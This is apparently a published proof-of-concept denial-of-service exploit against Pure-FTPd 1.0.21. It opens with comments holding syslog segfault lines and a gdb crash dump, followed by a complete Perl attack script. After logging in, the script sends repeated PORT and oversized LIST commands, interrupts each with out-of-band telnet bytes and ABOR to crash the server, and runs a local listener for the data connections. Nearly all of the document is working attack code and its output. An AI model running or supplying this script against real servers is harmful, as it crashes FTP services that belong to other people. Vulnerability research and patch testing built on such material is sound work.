#Pure-FTPd Crash PoC (Null Pointer Dereference), tested with pure-ftpd v1.0.21 (centos 6.2, ubuntu 8.04) #latest version (v1.0.36) is not affected !! #discovered by Kingcope # #root@ubuntu:~# grep seg /var/log/syslog #Aug 13 13:55:28 ubuntu kernel: [ 226.791747] pure-ftpd[4825]: segfault at 00000000 eip 0804cd3b esp bfb81db0 error 4 #Aug 13 13:56:21 ubuntu kernel: [ 280.295826] pure-ftpd[4836]: segfault at 00000000 eip 0804cd3b esp bfb81db0 error 4 #Program received signal SIGSEGV, Segmentation fault. #[Switching to process 5358] #doreply () at ftpd.c:698 #698 nextentry = scannedentry->next; #(gdb) i r #eax 0x0 0 #ecx 0xbf967540 -1080658624 #edx 0x0 0 #ebx 0x0 0 #esp 0xbf967540 0xbf967540 #ebp 0xbf967588 0xbf967588 #esi 0x0 0 #edi 0xbf96756c -1080658580 #eip 0x804b090 0x804b090 #eflags 0x10217 [ CF PF AF IF RF ] #cs 0x73 115 #ss 0x7b 123 #ds 0x7b 123 #es 0x7b 123 #fs 0x0 0 #gs 0x33 51 #(gdb) x/10i $eip #=> 0x804b090 : mov (%eax),%ebx # 0x804b092 : mov %eax,(%esp) # 0x804b095 : call 0x8049928 # 0x804b09a : test %ebx,%ebx # 0x804b09c : mov %ebx,%eax # 0x804b09e : jne 0x804b090 # 0x804b0a0 : movl $0x0,0x805d040 # 0x804b0aa : movl $0x0,0x805d03c # 0x804b0b4 : add $0x3c,%esp # 0x804b0b7 : pop %ebx #(gdb) use IO::Socket; $host = $ARGV[0]; $username = $ARGV[1]; $password = $ARGV[2]; $locip = $ARGV[3]; $locip =~ s/\./,/gi; if (($host eq "") or ($username eq "") or ($password eq "") or ($locip eq "")) { print "Usage: POC.pl \n"; exit; } if (fork()) { my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort => 21, Proto => 'tcp'); while(<$sock>) { $p = $_; print $p; if ($p =~ /220\s/) { last; } } print $sock "USER $ARGV[1]\r\n"; $p = <$sock>; print $p; print $sock "PASS $ARGV[2]\r\n"; $p = <$sock>; print $p; for ($k=0;$k<100;$k++) { print $k."\n"; print $sock "PORT $locip,146,15\r\n"; $p = <$sock>; print $p; $a = "A" x 2560; print $sock "LIST $a\r\n"; select(undef,undef,undef,k*0.001); # TWEAK THIS VALUE, USED A HOST TO VM CONNECTION WHEN TESTING send $sock, "!",MSG_OOB; print $sock "\377"; print $sock "\364"; print $sock "\377"; print $sock "\362"; print $sock "ABOR\r\n"; $p = <$sock>; print $p; print $sock "PWD\r\n"; $p = <$sock>; print $p; } } else { my $servsock = IO::Socket::INET->new(LocalAddr => "0.0.0.0", LocalPort => 37391, Proto => 'tcp', Listen => 1000); die "Could not create socket: $!\n" unless $servsock; while(my $new_sock = $servsock->accept()) { while(<$new_sock>) { print $_; } } }